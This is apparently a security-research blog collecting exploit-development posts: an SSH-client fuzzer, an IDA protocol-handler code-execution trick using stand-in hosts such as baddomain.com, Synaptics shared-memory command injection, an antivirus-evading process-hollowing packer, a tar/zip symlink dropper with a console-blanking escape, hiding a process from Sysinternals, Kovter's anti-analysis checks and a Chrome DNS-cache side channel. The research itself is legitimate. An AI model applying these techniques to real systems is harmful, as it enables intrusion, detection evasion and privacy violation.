Fuzzing SSH Clients

For folks wanting to learn exploit development, heres a step-by-step writing in how to progress in finding bugs and breaking code. Along the way Ill drop some tid-bits in things to look out for in code and how to think about it.

Our target to play with here is going to be “putty.exe”. A super popular Windows SSH client. This project involves a little bit of reversing as well as some python coding to see if we can trigger a crash in an SSH client. I have no idea if this is going to work since I’m writing this live as I go. The idea is that if we can make a fuzzer that triggers a crash in the SSH client, then we can reverse engineer the crash and see if its something we can exploit. It would be pretty cool to have a rouge SSH server that could exploit client targets that connect, and I think SSH is a good protocol to attack since SSH clients never really get exposed to malformed SSH messages.

So what kind of fuzzer would we need to crash an SSH client? Well, we could just send random garbage to the SSH client when trying to connect (dumb fuzzer), but the problem with that is we would never advance logic state in the SSH client to be able to test further into the protocol, since initial handshake would obviously fail.  For an advanced protocol like this, we want a “smart(er) fuzzer” so I wrote a mock SSH server thats pretty dumb for SSH server goes, but from fuzzer standpoint – smart, because it can play the SSH protocol game a bit with the client and goof with it along the way. Even if we dont exploit something, maybe it can be a good tutorial on how to fuzz and what things to keep an eye out for when breaking software.

Reversing SSH Client

Server/Client Version Exchange

To begin, I want to see where the SSH client processes Server responses. This isnt necessary, but I want to have an idea of whats going on in the client. This involves firing up Putty.exe in debugger and connecting to a live SSH Server and breaking on “ws2_32.dll!recv”.

Once we broke we can trace back the call stack to see where it came from, as we know this will be the area of code that processes the SSH server message, and sure enough we find the function that processes input.

In wireshark we see the server/client handshake starts with a client/server name exchange.

After breaking on recv and sifting around the caller’s routine, we eventually find the function responsible for parsing server response.

This just checks if the first 4 bytes start with “SSH-“. Then Server SSH version information is extracted. I can see in the code that it expects to parse a “ssh version number” after the first “-” and after next “-“, parses a “ssh version name”.

For this part in fuzzing, I just played with netcat, which will allow us to listen on the SSH port as-if we were an SSH server and send messages back.

I sent various weird names back (some with 3 “-“, some with non printable characters, some super long). Nothing worked. So before I moved on, I decided to look at this handler a bit more.

An example of something that looked good to break in it, was this piece of code

This takes the SSH Server Version response (“SSH-2.0-MySSHserver”), looks for the terminating “\r\n” socket response, and replacing it with a “NULL”. This is basically is to try and convert the response to a NULL terminated string and then process it.

Maybe you can see something to possibly break in this?

The thing I see, is we could possibly trigger unexpected behavior here if we have a server name sent like “SSH-2.0-\x00MySSHserver\r\n”, since we will have inserted an unexpected NULL before the client expects to cap the response with its NULL character (by replacing \r\n characters). This mismatch could possibly confuse parsing, so I tried to play with this, but no luck.

Algorithm Negotiation

Lets look at next step in communication which is algorithm negotiation. From looking at wireshark (and going over the SSH RFC https://tools.ietf.org/html/rfc4253#section-7.1), we can understand the Algorithm negotiation a bit and see there must be some good amount of parsing involved.

I briefly reverse this section of code in the client to see if anything obvious stands out.

This one looked super cool at first. “Binary Packet Length” is the “packet_length” field from a server response. Try to see if you can see whats wrong with this code.

…if you said integer overflow you would be right. Unfortunately a few functions before it will actually check if the packet_length’s most significant bit is set, and then error-out…lame…and weird that they used a signed number for size, but I guess they handled their cases properly so they are protected.

Writting Fuzzer

Code for this fuzzer can be found at https://github.com/RISCYBusiness/SSHClientFuzzer.

Since things are getting more complex and requiring the need for binary input, its probably time to write some kind of lightweight framework. After reversing some basic SSH protocol steps I made a framework contains a small mock SSH server and some ability to be fuzzy. The input fuzzer itself is really simple since I just want to be able to generate random strings and also mutate existing strings. The fuzzer class is this simple. The intelligence is how we use it.

class riscy_fuzzer:
    def __init__(self):
        self.hFile = None
        self.fuzz_style = FUZZ_STYLE.NONE
        self.fuzz_severity = 0

    def fuzz_int(self, low=0, high=0xFFFFFFFF):
        return random.randint(low, high)

    def fuzz_str(self, length):
        return os.urandom(length)
    def mutate_str(self, _string):
        str_len = len(_string)
        iterations = int(str_len*self.fuzz_severity)
        new_chars = list(_string)
        for _ in range(0, iterations):
            index = random.randrange(0, str_len-1)
            new_chars[index] = chr(random.randrange(0, 0xff))
        return "".join(new_chars)
    def load_sniper_data(self):
        data = self.hFile.read()
        return data

As you can see, there is a variable “fuzz_severity”, which can be set by our Server and will change how crazy the strings will get.

Since different fuzzing styles are mostly orthogonal (meaning each style wouldnt have any additional effect if different styles were combined) we can seperate our fuzzing styles to perform one at a time.

    NONE = 0 # none
    SNIPER = 1  # Load data from file (Manual Fuzzing)
    BUFFER_BUSTER = 2 # Generate large data for target fields
    MUTATE = 3  # Morph current data. This is good for parsing bugs

When we startup our mock server, we can configure it to be specialized in ONE particular fuzzing style.

Great, now we have some mock SSH server and can fuzz back responses but as always with fuzzing: “how do we know we crashed the target”? For this scenario we have a good rule we can apply…

If client does not respond back in TIMEOUT amount of time, then consider it dead and to log the packet that caused the “halt” (crash).

SSH client should at least close server connection upon client error, having it dangling for a while could indicate crash because client was unable to send RESET packet. This brings us to making a small watchdog to check if things are taking too long from the Server side.

class SSHServer():
    SSH_SERVER_NAME = 'SSH-2.0-riscy_fuzzer'
    BIND_IP = ''
    BIND_PORT = 22
    TIMEOUT = 5

    def accept_binary_packet(self):
        Listens for packet with expected SSH Binary Packet protocol
        ready = select.select([self.conn], [], [], self.TIMEOUT)
        if not ready[0]:
            print '\nClient is stuck!...Here is last packet sent to it:\n{}'.format(self.last_response.encode('hex'))
        clientmsg = self.conn.recv(5) # read packet_length and random_padding header
        BINARY_PACKET_SIZE = struct.unpack('>I', clientmsg[0:4])[0] + int(clientmsg[4].encode('hex'), 16) # packet_length + random_padding
        while len(clientmsg) < BINARY_PACKET_SIZE-15:
           clientmsg += self.conn.recv(1024)
        return clientmsg

This is pretty good, but not perfect, as more complex bugs like UAFs/deeper memory corruption would probably go unnoticed, but we can worry about that later since I think this would cover A LOT.

If we apply this approach then we need our fuzzing process to be something like:

  1. Start mock SSH server
  2. Start and connect SSH client
  3. Fuzz responses
  4. Check if crashed via “TIMEOUT check” (log offending packet if so)
  5. Restart SSH client
  6. Repeat step 2

We write it up and run it. This is the back-and-forth client/server communication. Each green SSH packet has various fields fuzzed. We can let this run for a bit.

I ran this a bit on Putty, but no stall/crash. I decided to go into “sniper” mode for the fuzzer.



My script will go ahead and network play over the file I modify from my hex editor, so its a pretty quick testing setup. The file has a proper algorithm negotiation SSH packet which I modify a bit and see a kindof cool behavior happen in putty.


…More to come this week…

IDA text Execution

Update: some didnt like the fact a warning was spawned for execution. Since IDA users have python installed, a .py file can be used to bypass the dialog and run straight off the SMB share. In this case, the link is crafted to encourage a highlight for copy/paste. Be careful


When playing with IDA 6.5, I noticed it treating strings strangely. It would actually respect protocol handlers put on them in certain cases. A simple string of

“blah http://google.com”

when viewed in the disassembler would launch a webpage to google.com if double clicked on in IDA View  (used for string highlighting). The “blah” is necessary for the string to be treated as a protocoled command by IDA (“blah” could be any string, just needs to be a string before our URL). I debug IDA to find where this protocol handler is being processed, which I assumed was MkParseDisplayName (https://msdn.microsoft.com/en-us/library/windows/desktop/ms691253(v=vs.85).aspx) or something similar.

Debugging a bit, I found this was handled by the SHParseDisplayName API (https://msdn.microsoft.com/en-us/library/windows/desktop/bb762236(v=vs.85).aspx). I figured this would be simple and get straight to code execution with “blah htafile:baddomain.com/bad.hta”.

It seems this protocol was ignored (among several other common ones). I did notice that the “file:” protocol worked, although the  “file:///” would be stripped out before being passed to SHParseDisplayName, making my string of

“blah file:///test.com/poc.exe”



before being passed to SHParseDisplayName. This is a problem since we loose our ability to instruct Windows how to treat this string (as a protocoled command). I tried a few other techniques, but there simply was not a way around the fact it leaves a prepended ‘/’ character. Even when trying “file:///file:///test.com/poc.exe”, I just get “/file:///test.com/poc.exe” which is an invalid protocol of course.

It turned out to be simple, with a case change. This effectively bypassed the filter, which I didn’t even try because I thought surely it wouldn’t work…but it did, as we see the string argument to SHParseDisplayName.

Now when string is double clicked, this will be interpreted to execute (depending on file extension) meaning remote code execution can occur:

Code Execution via Insecure Synaptics Section Objects

Edit: Thanks for the comments, I realize this is NOT Lenovo specific problem, it just happened to come pre-loaded on my Lenovo machine.

Alex Ionescu did a cool talk a while back on exploiting unsecured shared memory objects. It sounded like an interesting attack vector to put to use, so I pulled up WinObj on my Lenovo machine and take a look for any ACL-less section objects (section objects are maps of memory that can be shared across applications – leave one of these unsecured and you are leaving yourself open to a 3rd party application able to read and write to it.)

My Lenovo had a memory map called “SynTPAPIMemMap”. Inspecting this via WinObj shows no ACLs – good place to start.

The owner of this memory map turned out to be SynTPEnh.exe, which is spawned at boot by the SynTPEnh service, a Lenovo touchpad utility.

Examining one of the SynTPEnh.exe .dlls in IDA, we can see it is responsible for creating and managing this memory map.

Since any app can read/write to this mapping, all one has to do is find all references made to this memory map and see what choke points best to attack. Out of all the references I found to it, the most promising one was the dll export “RegisterPluginW”, which seems to be called every time the user “clicks” and or even touches the mouse pad at times.


When RegisterPluginW is called, I noticed it will iterate over the memory map, setting of my memory breakpoints. The inner function responsible for this is the function I named “RespawnProc” (below).

Examining the RespawnProc function, I see it has the possibility to call the “CreateProcess” function, and whats even more incredible, is the cmdLine parameter for the CreateProcess, is pulled right from the memory map (rbx), which we can control!

To control execution flow where I want, we need to get “WindowCheck” function to return 0. Lets see how we do that…

Inside WindowCheck function

Looking at the function, its relying again on input from the same unsecured memory map. We can get this function to fail by writing invalid handles and invalid process IDs to the buffer its using to store them. This is probably a mechanism to relaunch this window process, in the event it died. Too bad their storing this in an unsecured memory map. To cause this to fail, we need to understand the format of the buffer, and what its all about.

After lightly reverse engineering the memory map, I found the buffer was an array of over 20 TPAPI objects. Highlighted in this memory below is one TPAPI object (Red) and a few important members.

The cmdline member in blue, is used as the CreateProcess parameter. It seems that it should be as simple as rewriting the cmdLine to a process I want to spawn, and setting invalid PID and/or Window Handle members to force the “WindowCheck” function to fail. I only have to worry about doing this to the first TPAPI object, since all will be iterated over upon touch/click and I dont need 27 calc.exe instances popping up.

Here is part of very simple code to trigger this execution.

We execute this code, and the second I move the mouse calc.exe instance is spawned from SynTPEnh process with inherited permissions.


What we have now, is the ability for any application able to write to this Lenovo section object to get code execution as the current user’s account, which can be a privilege escalation (depending where you are running from), or it can be an execution divert, in environments you dont want child processes under MS Word for example.

Stealth Process Hollowing (via Hotswapping Maps)

I’ve recently released a process hollowing packer: RISCyPacker (https://github.com/RISCYBusiness/RISCYpacker). This hollower technique is unique in the fact that it is able to hollow a process dynamically (without process suspension) and without using some of the more sketchy Win APIs. This means no WriteProcessMemory, QueueUserApc, CreateRemoteThread, SetThreadContext calls. While I didn’t get around to testing with all AV, this technique should go undetected. For you Reversers, I attached a POC binary packed by it (end of article), so you can see how it works.

If you are motivated enough to test with more AV, let me know, Id be interested to hear

How It Works

Most process hollowing techniques rely on suspension of process, writing to remote memorymanipulating context (SetThreadContext/CreateRemoteThread/QueueUserAPC) and Resuming. The RISCyPacker technique trims the fat by only using Memory Modification steps (NtUnMapViewOfSection/NtMapViewOfSection) to accomplish a hollow.

In order for this to work, we need to be establish a guarantee that our thread can Unmap/Map remote executable memory before the remote thread is scheduled. If we go half-cocked (ie: only an unmap), we will get crashes since the thread’s EIP will point to nothing when its scheduled. Luckily we can use some thread priority and affinity to help us:

Create local Thread with High Priority

Set Remote Process’ Thread to Low Priority

The Affinity settings are of course required, since multicore processors may affect up our desired scheduling priorities we set. By putting them both on the same core, with different priorities, we can properly queue them up, allowing manipulation of remote memory before remote thread can access it.

Conceptual steps on how this hollower works (example w/ ftp.exe)

The injected NOP sled happens to also contain shellcode to load and built the IAT for the injected process.


A few things this packer must keep in mind, is a set of processes that can support a non-suspension injection. Some processes you want to hollow into, will immediately exit upon start (ie: xcopy.exe w/ no arguments) and thus miss the injection opportunity. For now, I only tested with ping.exe which was a good candidate for this. In the event a proc early exits, the hotswap technique will still work, it will just require a suspension (does not require CREATE_SUSPENDED, but rather suspended after normal creation (more stealthy)

RISCyPacker does not currently support x64/TLS/Exports. 


Proof of concept exe for reversers. Password is “notinfected”


Note on Stalled Apps

Some processes you hollow into may be in a blocking state (in a system library) by the time you hollow. This means it will not call back into it’s image base that we applied a NOP sled to. To get around this you can memswap libraries and externally trigger an enter. (For example, kernel32 can be unmapped/mapped and then a Kill process call to the hollowed process, this will force the stalling application to enter into kernel32/NOP sled you mapped).


Turning Unzip into a File Dropper


How did this compromise the machine?

If you find yourself/coworkers fearlessly unzipping and untaring 3rd party archives on your linux system, you may want to give this a read. Im going to show a POC on how an infection can occur solely through archive extractions.

The main functionality I targeted is the directory structure creation upon “unzip” or “tar -xvf” command ..If we can get files to be written to other places instead, then we can own the machine via autostart locations.

First attempt was to modify zip file and fool it into dropping files/directories with special path characters (“../” or “/” “). This may get me outside the “current working directory jail”.



Unzip is wise to this, and carefully parses out these characters before unpacking to avoid files escaping the current working directory. I found unzip has two different sanitizer routines. One pulls out directory traversal patterns, and the other pulls out “out-of-range characters (0x00-0x1f)”. Seeing this, the next step was to attempt paths like “.\x04./” hoping it would pass the traversal sanitizer and then be normalized by the out-of-range sanitizer; finally becoming “../”. Nope, still caught it.

After messing more with this, env vars, etc – I realized instead of going backwards to get out of the directory jail, you should go forward. This means making symlinks.

If an attacker can compress a directory with symlinks, these symlinks can be dropped which point to sensitive paths, and zip artifacts can be configured to write to them, thus traversing outside the current working directory.

Using ZIP with symlinks works simply enough (using the –symlinks flag), but it rats you out when it comes time to unzip, here shows a message from “unzip” claiming it just made a symlink to /etc/init.d/

can we suppress this? I attempted some terminal tricks to try that. If we can get unzip to echo special characters, we can control the terminal via Terminal Control Sequences (ie echo -e “\x1b[0;31m”). Well, we got that pesky sanitizer that unzip uses (filters out chars < 0x1F). Can we bypass the sanitizer?

Above you can see a format string being assembled, (which happens to be the symlink creation message “notScary -> /etc/init.d/”). All the sprint_f messages I could find were preceeded with this sanitizer routine. (alternatively, one could try making a filename field longer than 0x4000 in the zip format, which the sanitizer will fall short on (since 0x4000 = MAX_LENGTH), although, there are careful checks before this that wont allow this long of zip filename fields.

The only sprintf call I found that does not check for sanitization is the filename passed to zip itself, and apparently, you can name files with raw hex in them on Linux. So we make a zip file with an embedded terminal code for blanking out the console ‘\x1bPn=6’

zip -r Pictures[www.freepics.com$(echo -e “\x1bPn=6”)].zip /ResourceFolder).

Which appears as     on the filesystem. Regardless of the social engineering namestyle, running this through unzip, a terminal code will be executed (the ? mark is actually a \x1b character), since the sanitizer isnt ran on the filename itself. This blanks out the console, preventing any information being echoed about the unzip process. This zip can now drop files that wont be shown in the output…kinda cool


Animated GIF - Find & Share on GIPHY

Lets shelve this one for a sec. I found tar is the best way to deliver symlinks since they are preserved and there is no message of symlinks being made. The below file structure would exploit this, and cause infection whether unzipped as root or not (.desktop files in the .gnome dir for example). These are all autostart locations, that can get code to be ran upon next login (or even sooner with a cron job – if root).

The events become:

  1. untar Downloaded.tar
  2. unzip Pictures.zip (or Pictures[www.freepics.com?Pn=6].zip)
  3. infected

At unzip, the untared softlinks are hit and malware is written to /etc/init.d or the user directories paths to hit the user auto start. Heres where the console disable comes into play. Unless the targeted user’s name is known, we cant get persistence if not unziped as root, since we dont know the home/user directory name. For this, we need to attempt relative traversals (../) until we get to the $USER dir and hit files like .ssh/.gnome or other interesting files. Some of these may look strange, especially .ssh file being written. With the console hack, output can be supressed

Whats more concerning than the social engineering aspects of this, is the general concept that one can escape CWD jails with unzip or untar. This could be an issue for many platforms which allow submitted zips – trusting that contents will be jailed. For example, Android, which unzips .APKs under a priviledged process (PackageManager)…but dont bother trying this one, already did – doesnt work 😉

Hiding Your Process from Sysinternals


Malicious.exe running, but does not show up in Procexp.exe

I was researching ways to not just do anti-analysis, but to rather run executables in spite of analysis, while evading analysis. I found ways to go invisible from a few common analysis tools, but the final boss was Sysinternals Suite, no Administrative nor SEDebugPriveledge allowed for this challenge. I figure I’d share what I found here, which also ended up being a privilege escalation.

ProcExp’s “HiddenProc” Easter Egg

I first started with Procexp. Sifting through Procexp in IDA I thought I instantly found a promising section of code and was going to call it a day.

This routine searches for a MULTI_SZ registry value named “HiddenProcs”. If it exists, it will parse a list of new-line delimited process names and what I assume, later filter them out of the viewing. Unfortunately, the actual routine in charge of hiding these process names doesn’t exist (probably compiled out for release mode?). This is a dead registry key. Moving on.

ProcExp Image Hijack 1 (failed)

If we can hijack procexp, then we can control it to display whatever we want to the user. When you run Procexp32.exe (or other 32-bit Sysinternal tools) on a 64-bit OS, it will often dump a 64-bit version of itself to disk, and then run the 64 version instead. Is there a way we can image hijack this, post drop?

What we are looking at is the drop and execute code from Procmon32. This routine is responsible for writing a 64-bit version of itself and executing if on 64-bit OS. From the top green node (Drop64bitProcExp function) to the bottom green node (CreateProcessW). There is a gap. If we can ensure ProcExp32.exe spends as much time in the red while we repetitively try to write to the dropped exe, can we intercept the image before CreateProcess is called?

Below I try this, with a simple POC to set my thread to TIME_PRIORITY_TIME_CRITICAL, while attempting to write my own code to the dropped exe. The goal is to get my quantum to get executed in between the 2 green nodes.

When running this program, and a user attempts to open ProcExp, we get the error below. Looks like it may have only wrote partial way for the Image Hijack. This is not deterministic enough, and too SCIFI.


ProcExp Image Hijack 2 (success)

Investigating the file drop code, we see ProcExp doesn’t instantly exit if wfopen_s(“ProcExp64.exe”, “wb”) fails.

This will be its flaw. It ignores the fopen error as long as “GetFileAttributes” succeeds.

..so the image hijack is very simple. We just write out own “ProcExp64.exe” to the temp directory, and make it “READ ONLY”. That way, fopen(“ProcExp64.exe” ,”wb”) fails, but when trying GetFileAttributes it will succeed, and execution flow will lead us right to CreateProcess.


Here my process drops a fake version of ProcessExplorer under the %temp% dir as “PROCEXP64.exe”. Its marked read-only (you can try this at home actually). This is a simple program that just says “Hijacked” to the console.

Now when we try to run Procexp.exe, it hits this flaw and instead runs our fake “PROCEXP64.exe”.


This shows a hijack is possible, but I think we can do better, since this is limited to 64-bit OS running 32-bit Sysinternals.


The DLL Hijack (final solution)

This is final method I choose for the POC. Looking at Sysinternal RegKeys, we see one called “DbghelpPath”. This Registry key is writable for most applications since its the USER registry hive.

DbghelpPath key just points it to a path that it trusts to hold the “dbghelp.dll”. Well, I’ll just hijack this path then, thanks. My binary sets this key to point to the %TEMP% dir while dropping its own dbghelp.dll in temp (%TEMP%/DbgHelp.dll). When Procexp is runs, it will load the dll in this path. Once i get it to load my dll we hook ProcExp routines to hide my process. You can see the main code for this in


This involved reversing ProcExp logic. After doing so, I found the best point to target the hook – OpenProcess API.

We patch OpenProcess Api, since, it is called for each process it shows to the output. Its better if I target a hook here, rather than hardcoded offset. If I do the later, it will be more volatile to different versions of ProcExp (since offsets can change, code added/removed). So instead I patch OpenProcess API, because when ProcExp calls it, theres a dangling r14 register that happens to point to the ProcExp PROCESS linked list. This PROCESS linked list structure is less likely to change between versions.

Here we patch:

Here we hook, to hide our process from ProcExp linked list. This involved reversing the PROCEXP process linked list structure a bit, but once done, we have a filter for filtering processes. Below this POC filters processes named “Malicious.exe”.

End Result

One cool thing about this, is that nearly all SysInternal tools have this DbgHelp path writable key, so you can theoretically do this with all Sysinternal Suite tools.



Kovter 2016 – Anti Analysis tricks


VBoxService.exe (ZwQuerySystemInformation / 0x5)

VBoxTray.exe (ZwQuerySystemInformation / 0x5)

VBoxHook.dll (attempts loadlibrary)

HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0






SOFTWARE\Oracle\VirtualBox Guest Additions



vmwareuser.exe (ZwQuerySystemInformation / 0x5)

vmwaretray.exe (ZwQuerySystemInformation / 0x5)

HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0

SOFTWARE\VMware, Inc.\VMware Tools



vmware (ZwQuerySystemInformation / 0x5)



vmusrvc.exe (ZwQuerySystemInformation / 0x5)

vmsrvc.exe (ZwQuerySystemInformation / 0x5)


HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0




SbieDll.dll (getmoduleHandle to check if injected)


SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Wireshark



wireshark (ZwQuerySystemInformation / 0x5)


SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Fiddler.exe


 fiddler (ZwQuerySystemInformation / 0x5)





httpanalyzer (ZwQuerySystemInformation / 0x5)

injectwinsockservice (ZwQuerySystemInformation / 0x5)




Software\XK72 Ltd  folder

charles.exe (ZwQuerySystemInformation / 0x5)


joeboxserver.exe (ZwQuerySystemInformation / 0x5)

joeboxcontrol.exe (ZwQuerySystemInformation / 0x5)


regmon.exe (ZwQuerySystemInformation / 0x5)

filemon.exe (ZwQuerySystemInformation / 0x5)

procmon.exe (ZwQuerySystemInformation / 0x5)



Check PEB (mov eax, fs[30h] / eax+2


api_log.dll (GetModuleHandle to see if injected)

dir_watch.dll (GetModuleHandle to see if injected)

sniff_hit.exe (ZwQuerySystemInformation / 0x5)

sysAnalyzer.exe (ZwQuerySystemInformation / 0x5)


HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0



Side channeling user DNS cache in Chrome

I had the thought one day if one could side channel DNS lookup times in browser JS. This could theoretically determine local cache status of a domain and give us some insight into a user’s browsing or even network history. This would be a violation privacy I was eager to try. Off the bat I thought of something simple, like this:


While I’m using a websocket for the DNS test, it doesn’t require the site to support websockets – in fact Im banking that it doesn’t so I can simply measure the time it takes to fail. I expect the first websocket try to take a few milliseconds (DNS resolve + websocket failure), but next time (since the domain should be in cache), will it be faster?


No. Well, understandably, there is a lot of overhead dirtying the signal – a web socket being constructed, an attempted request to the site through a bunch of unpredictable routers, a failed websocket response, etc.

So lets clean up this signal by getting it to fast fail. I found we can fast fail the websocket by supplying a bogus port to the websocket, and found it worked out beautifly, because Chrome does a DNS lookup of the domain before it actually sanitizes the port for validity – and then fail.


dnsLookedNo Websocket connection attempt, but DNS request for domain was sent.

This means, we basically turned Chrome into a pure DNS resolver with no/low overhead for our side channel signal. So now that Im getting clean DNS lookups, surely we should see a difference between cached and non-cached DNS lookups? ..Yes and no


From the initial “not-in-cache” to the “in-cache” timing it looked promising, but then it took an illogical turn. I expect all subsequent attempts to be fast.. So whats going on here? I admit I quit..but then came back to it, because it didn’t make sense. There are things I looked into behind the scenes to ensure how much it didn’t make sense that I will not go over here, but upon returning to the project I looked more into Chromium open source code (which is what Chrome uses). I found they are consulting a “back off” algorithm upon each Websocket lookup in WebsocketDispatchHost.cc


Perhaps this exists to avoid side channels like this or anti-DDOS? What this is doing, is returning how many milliseconds the websocket should sleep before finishing the websocket function, which is a major wrench in this side channel since its punishing us with complete arbitrary delay time. Actually, its not arbitrary, its something we can control.

If we ensure the ratio of failed websocket connections to succeed websocket connections is 1 (for the page session) — and no pending connections.., then the backoff algorithm wont hurt us, because the “std::min” will take our 1 as the “punishment weight”.


We are still subjected to the “RandInt” function, but if we can control our end, the RandInt function wont hurt us. Below I calculated the worst time drift we can have.


not bad at all…

Now all I do is interleave my failed websocket requests with successful websocket requests (to a websocket test server: websocket.org/etc).


Clean signal with interleaved sockets:

POC1*cleaned OS and Chrome’s DNS cache*


Run function with domain not in cache – 41ms time


We see domains in cache now (right chrome://net-internals) – 4ms

Pretty darn cool, looks like we can safely assume a visitor has visited a site (or at least domain) if the failure time is <10ms? seems to be a safe cut off from my repeated tests and research. The whole point of defeating the backoff algorithm is not just understanding what was going on when I was testing, but also now allows for multiple domain look ups per session without being punished.


10 ms is an arbitrary cut off for determining if cached, how can that be universal if some machines are faster/slower?

If this were to be used, you should add a true negative and a true positive for cache test. This can be done by first measuring the current domain the visitor would be on (guaranteed to cached) – lets say its 45ms (true positive). Then fetch a domain there is no way they have in cache like XMks8732asdm.com – lets say its 180ms (true negative), then incorperate that data into your decision via standard deviation for each case. This should add some certainty to the mix.

One of the obvious shortcomings with this technique you may have already wondered: arent we putting the domain in cache when we attempt a look up?

Yes we are..and in that case its kind of a single shot musket type weapon. However false positives can be prevented through browser fingerprinting and only attempting another lookup on user after you feel the TTL has expired (whether it be hours/days).

Violating Window’s file naming rules

Going to share an interesting behavior with the “CreateFileW” functions I found this week. Its quite simple, but results in an undeletable file with some other interesting traits.

This is done by creating a file name that Windows does not accept and fails to do operations on once created. As we know, Windows does not allow certain characters in path names, the ones we all know are:


So the “CreateFileW” API call will fail if you even try to create a file with the above characters, however there are other file-naming rules not so black and white which Windows abides by. One of these is that Windows does not allow trailing space in a file name. This can be seen using CreateFileA (which is what is called when you right click and create a file in Windows). CreateFileA will properly remove trailing space characters before making the file. This filtering however does not occur in the CreateFileW API call using \\?\ to prepend the path.  By naming a file with the below syntax, Windows will create a Unicode filename with a trailing space. The \\?\ prefix sends the path straight to the file system with no preprosessing, typically used when trying to get around the MAX_PATH limitation of 255 characters.


When trying to delete the file:


Try rename the file to remove the trailing space – no luck:


Checking the properties of the file:



Even trying CMD prompt with the filename, I was unable to delete the file.
This whole thing led to some other very interesting behavior with directories, that perhaps Ill share a later time.

Windows vs Linux vs Android Vulnerabilties

This weekend I grabbed the CVE database for the most famous Operating Systems to plot the vulnerability distribution among the past ~20 years.


Make what ever sense you want to make out of it using the Interactive Graph @ www.riscy.business/OSVulns.html


  • “Linux” represents the Linux Kernel vulnerabilities and not the different subtle Linux flavors nor their applications.
  • “Windows” represents the OS itself and not their applications, which would provide a much larger attack surface if represented.